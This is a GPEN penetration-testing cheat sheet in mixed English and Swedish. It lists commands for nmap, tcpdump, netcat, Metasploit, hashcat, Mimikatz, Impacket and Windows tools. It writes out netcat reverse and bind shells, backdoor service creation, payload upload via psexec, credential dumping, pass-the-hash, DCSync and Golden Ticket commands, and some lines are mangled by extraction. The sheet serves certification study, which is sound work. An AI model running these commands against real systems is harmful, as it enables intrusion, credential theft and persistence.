GPEN Cheat Sheet

by unicornfox via cheatography.com/213883/cs/46571/

nmap	
-sn <ip>	Ping sweep
-sT <ip>	TCP-full connect scan
-sS <ip>	TCP SYN half-open (requires root)
-sU <ip>	UDP scan
-sV <ip>	Version scan
-O <ip>	OS-fingerprint
-Pn <ip>	Treat all host as online (skip host discovery)
--top-ports=10 <ip>	Scan top 10 most common ports
<ip> -sV -Pn **--reason**	Add **--reason** to get why port is open
-6 -sV <ip>	IPv6 scan
-sA <ip>	Avoid IDS/IPS firewalls (only sends ACK-flag)
-iL list-of-ips.txt	Scan from list of IPs
Save output to file	
-oN	Normal output
-oX	XML format
-oG	Greppable format
-oS	Script kiddie output
-oA	Output in the three useful formats (all but script kiddie)
Scripts	
auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, saft, version, vuln	
-sC/--script	Script scan
nmap --script=vuln <ip> -Pn -n –v	Use **--script=vuln** to find vulnerabilities for host
nmap --script-help=http-brute	Find info about script **http-brute**
Timing template	
900000ms, 900, 900s, and 15m	Time definitions. All means the same amount of time
-T0	paranoid
-T1	sneaky
-T2	polite
-T3	normal (default)

nmap (cont)	
-T4	agressive
-T5	insane
Delays	
--host-timeout <time>	Give up on slow target hosts. value 0 can be used to mean “no timeout”
--scan-delay <time>	Wait <time> between each probe
--script-timeout <time>	Sets a ceiling on script execution time.

tcpdump	
-D	List alla interfaces
-i	Record from specific interface
-nn	Do not resolve hostnames
-w output.pcap	write to file
-v	Verbose
Example	
tcpdump -i eth1	Record traffic from eth1
tcpdump -i eth1 **-w** ~/output.pcap	Write to file
tcpdump -i eth1 **-r** ~/output.pcap	Read from file
Filter	
tcpdump -i eth0 **host** 127.0.0.1	Filter on host 127.0.0.1 using **host**
tcpdump -i eth0 dest **net** 172.16.14-6.0/24	Filter on network using **net** (and dest)
tcpdump -i eth0 **portrange** 0-1024	Filter on **portrange**
tcpdump -i eth0 **port** 80	Filter on **port**
tcpdump -i eth0 tcp src port 80	Filter on **src** (and port)
Protocol	
ether, ip, ip6 , arp, rarp, tcp, udp	
tcpdump -r sus.pcap **icmp** or **host** 172.16.146.1	Filter on protocol **icmp** and **host**
tcpdump -r sus.pcap not icmp	Filter NOT on protocol **icmp**

tcpdump (cont)

Use `and / or` to combine these together

netcat (nc)

Flags	
-l	Listen mode
-L	Listen harder - Make a persistant listener
-n	Don't resolve names
-z	Zero I/O. Don't send any data
-v	verbose
-p	Local port
-u	UDP connection
-e	Program to execute after connections occurs (unsafe, needs to be enabled in some cases. Depends on nc-version)

Examples	
nc -l -p 1337 -e /bin/bash	Open listener
nc -zvn <ip> <po-rt>	Use as port scanner
nc <ip> <port>	Connect to port, eg webserver

File receiver/sender	
nc -l port > filename	On host: Start file receiver
nc host port < filename	On client: Send file

Reverse Shell (attacker is listener)

On target machine

```
nc <ip> <po rt> -e /bin/bash
```

On attacking machine

```
nc -lvnp <po rt>
```

Bind Shell (victim is listener)

On target machine

```
nc -lvnp <po rt> -e /bin/bash
```

On attacking machine

```
nc -nv <ip> <po rt>
```

Metasploit

Modules	
Auxiliary	Verktygsmoduler för scanning, fuzzing, bruteforce, sniffning
Encoders	Kodar payloads för att undvika antivirus
Exploits	Utnyttjar en sårbarhet i mål (t.ex. buffer overflow, RCE)
NOPs	(No Operation code) används för padding i exploits
Payloads	Kod som körs efter en exploit (t.ex. reverse shell)
Plugins	Additional scripts can be integrated within an assessment with msfconsole and coexist.
Post	Används efter access, för enum, dump, persistence
Evasion	Designade för att undvika AV/EDR, t.ex. via obfuskering
Exploit/multi/handler	Ta emot en payload (lyssnare)

API	
load extapi	Extended API (måste laddas manuellt)
stdapi	Standard-API (laddas automatiskt)

LINUX

Crontab

crontab -l	List jobs
crontab -e	Edit jobs

```
*     *     *     *     *     /home/ use r/s cr:
sh
```

Min *Hour* **Day(Month,1-31)** *Month* **Day(Week, 0-6)**

PASSWORD

/etc/shadow

sai:6**YTJ7JKnfsB4esnbS$**5XvmYk2.GXVWhDo2TYGN2hCitD/-wU9Kov.uZD8xsnleuf1r0ARX3qodIKiDsdoQA444b8IMPMOnUWD-mVJVkeg1:19446:0:99999:7:::

YTJ7JKnfsB4esnbS	salt

Password hashes

/etc/shadow (cont)

1	MD5
2	Blowfish
$2y$	Blowfish
5	SHA-256
6	SHA-512
y	yescrypt

Hashcat

hashcat -a 0 -m 16500 <jwt> <wordlist>	Crack JWT
hashcat -m 1800 -a 0 -o found1.txt crack1.hash 500_pa - ssw ord s.txt	Crack Linux SHA512 password with dict
hashcat --force -m 13100 -a 0 lab3.hashcat /path/ to/ Dic - t.txt --show	Crack Kerberos Service Ticket for account password
-a	Attack mode (0=straight)
-m	Hash-type
Hash types	
-m 0	MD5
-m 100	SHA1
-m 1800	SHA512crypt
-m 5600	NetNTLMv2
-m 13100	Kerberos
-m 16500	JWT

Mimikatz

1. **privilege::debug**	Ge Mimikatz rättigheter att läsa minnet/processer
2. **sekurlsa::logonpasswords**	Dumpa hashar från minnet
token::elevate	Bli SYSTEM
token::whoami	Köra kommando som SYSTEM

Impacket

pth-smbclient.py -hashes aad3b4... EXAMPLE/administrator@10.10.10.5	Use NTML-hash at machine
impacket-secretsdump	Dump NTLM hash (or use Mimikatz)

Impacket (cont)

impacket-secretdump -sam sam -system system -security security LOCAL	Retrive password
impacket-psexec.py -hashes :aad3b435b51-404eeaad3b435b51404ee EXAMPLE/Administrator@192.168.1.10	Use NTLM hash (pass-the-hash) -> Remote shell

John the ripper (JtR)

Commands	
john hash.txt	Run john against hash.txt
Output/Misc	
john.pot	File with cracked password
john.rec	store john's current status
john --restore	Picks up where it left of. Based on **john.rec**
jumbo--package	Support for additional hash types. Separate package install. Use **--rules=jumbo**

WINDOWS

Windows

Registry	
SAM	NTLM Password passwords - Stores credentials and account information for local users
Secrets	Stores recent cached login passwords of users. Stores secrets used by the Local Security Authority (LSA)
System	Stores system configuration data
Security	Stores user security policy data
Paths	
HKEY_LOCAL_MACHINE\SAM	
HKEY_LOCAL_MACHINE\Security\Policy\Secrets	
HKEY_LOCAL_MACHINE\SYSTEM	
HKEY_LOCAL_MACHINE\Security	
Misc	

Windows (cont)

Administrator:500:aad3b435b51404eeaad3b435-b51404ee:cd06ca7c7e10c99b1d33b7485a2ed8-08:::	Exempel på rad i SAM
AAD3B435B51404EE	Hårdkodad LANMAN padding

Kerberos termer

Domain Controller (DC)	Controlls the AD
Key Distribution Center (KDC)	Serivce in DC. User authenticates with user/pass. Distribute TGT.
Authentication Service (AS)	Part of KDC. Authenticates. kerberos client - grants a TGT
Ticket Granting Service (TGS)	Part of KDC. Validates the TGT. Issues a ST to specific resource/service
Ticket Granting Ticket (TGT)	Proof of authentication. Given by KDC. Is then used to ask for ST (at TGS)
Service Tickets (ST)	Gives access to asked resource/service

FLÖDE

1. Användaren loggar in och autentiseras av KDC.
2. KDC utfärdar en TGT till användaren.
3. Användaren använder TGT:n för att begära servicebiljetter från TGS för de tjänster de behöver åtkomst till.
4. TGS verifierar TGT:n och utfärdar servicebiljetten.
5. Användaren använder servicebiljetten för att autentisera mot tjänsten.

Misc

NTDS.dit	Located at Domain Controller. Stores NTML, kerberos-keys etc.
DOMAIN\Administrator:500:aad3...:cd06...:::	Rad i NTDS.dit

Kerberoasting

(1) Discover SPNs	eg. with Impacket (GetUserSPN.py), PowerView(Get-DomainUser)
(2) Request service tickets	eg. with Impacket
(3) Export service tickets	eg. with Impacket --> $krb5tgs$23$*....
(4) Crack service tickets.	eg. with Hashcat

setspn

setspn -T lab.local -Q */*	List all SPNs in domain

Windows tools

wmic (Windows Management Instrumentation Command-line)

Samla systeminfo eller kör kod tyst – lokalt eller fjärr

wmic /node:"192.168.1.10" process call create "cmd.exe /c whoami"	Starta kommando på fjärrmaskin
wmic /node:targetA.hacker.lab /user:hacker.lab\admin /password:passw0rd get product name,vendor,version /format:csv	Lista alla installerad mjukvara med namn och version

sc (Service Control)

Skapa eller styra Windows-tjänster för exekvering eller persistens

sc create backdoor binPath= "cmd.exe /k" start= auto	Skapa bakdörrsservice
sc create newservice binpath= "cmd.exe /k c:\Windows\Temp\nc.exe -L -p 8080 -e cmd.exe"	Skapa lyssnare via nc genom persistent (/k) cmd

tasklist

Visa alla aktiva processer

tasklist /v | findstr "svchost"	Hitta intressanta processer
tasklist /fo csv /fi "username ne serviceacct"	Hitta processer som inte körs av *serviceacct. Spara till CSV*

net

Windows tools (cont)

Hantera användare, grupper och resurser

net user bob passw0rd1234 /add	Add user
net share	Lista alla delade mappar
net use	Lista aktiva nätverksanslutningar
net accounts	Kontoplolicy (lösenor, lockout etc)

schtasks

Skapa schemalagda tasks

schtasks /query /tn myshell	List task *myshell*
schtasks /Create /tn myshell /tr C:\users\non\shell.exe \sc MINUTE	Create task *myshell*, path to program (/tr), every minute (/sc)

psexec

Sysinternals som låter dig köra kommandon på en fjärrdator. Kör ofta som SYSTEM

psexec \\192.168.1.100 cmd.exe	Starta kommando (skal) på fjärrdator
psexec \\target -u DOMAIN\admin -p Password123 cmd.exe	Med user/pass
psexec \\target cmd.exe /c "-whoami > C:\output.txt"	Kör kommando utan att öppna skal
psexec \\target -c revshell.exe	Ladda upp och kör payload

PASS-THE-HASH

Autentisera till en tjänst direkt med NTLM-hash, utan att känna till lösenordet.

sekurlsa::pth /user:Administrator /domain:LAB /ntlm:-cd06ca7c7e10c99b1d33b7485a2ed808 /run:cmd.exe	PTH
Metasploit expects the fortmat LMHASH:NTHASH.	Eg. when using SMBPass

OVERPASS-THE-HASH

Använd NTLM-hashen för att skapa en Kerberos TGT → sedan autentisera via Kerberos.

kerberos::purge	OPtH

sekurlsa::pth /user:admin /domain:test.local /ntlm:cd06ca7c7e10c99-b1d33b7485a2ed808 /run:cmd.exe

Golden Ticket

En förfalskad Kerberos TGT som skapas med krbtgt-*hashen och ger fullständig, obehindrad access i en domän — utan att fråga domänkontrollanten. TGT:n kan vara valid i 10 år. Kräver admin.*

lsadump::dcsync /user:krbtgt	Hämta **krbtgt**-kontots NTML-hash via Mimikatz (kärver domänadmin)
kerberos::golden	Skapa golden-ticket med Mimikatz
krbtgt	Domain account signing all requests for TGTs
DCSync	Attack där man imiterar en DC och ber AD om lösenordshashar via replikering.

To create a Golden Ticket with Mimikatz: valid user ID, domain SID, domain name, krbtgt hash, any username

kerberos::golden /user:SuperHacker /ID:500, /sid: S-1-5-21-132673-1835-146056860-2877405472 /krbtgt:<NTLM hash of krbtgt account> /domain:HACKEDLAB.local

CMD

/c	Run and close window
/k	Run and keep window open
/q	Quiet mode
/d	Disable autorun
/s	Quote friendly mode
cmd.exe /k color 0a	Start window with green color, and keep it open

Responder

*Waiting for "incorrect" authentications, to get NTLM-hash. Pretends to be the correct service. Requires **root***

responder -I eth0	Start

MISC

Misc

Lista portar	
netstat -antp | grep LISTEN	Lists open ports/connections
Get-NetTCPConnection -State Listen	Lists open ports/connections (powershell)
Lista grupper	
net localgroup "Administatror"	Lista administrator
Get-LocalGroupMember -Name "-Administrator"	Lista administrator
Lista firewall states	
Get-NetFirewallProfile | Select Name,Enabled	Lista firewall states
netsh advfirewall show allprofiles	Lista firewall states

Common ports

21	FTP
22	SSH & SFTP
23	Telnet
69	TFTP
445	SMB
2049	NFS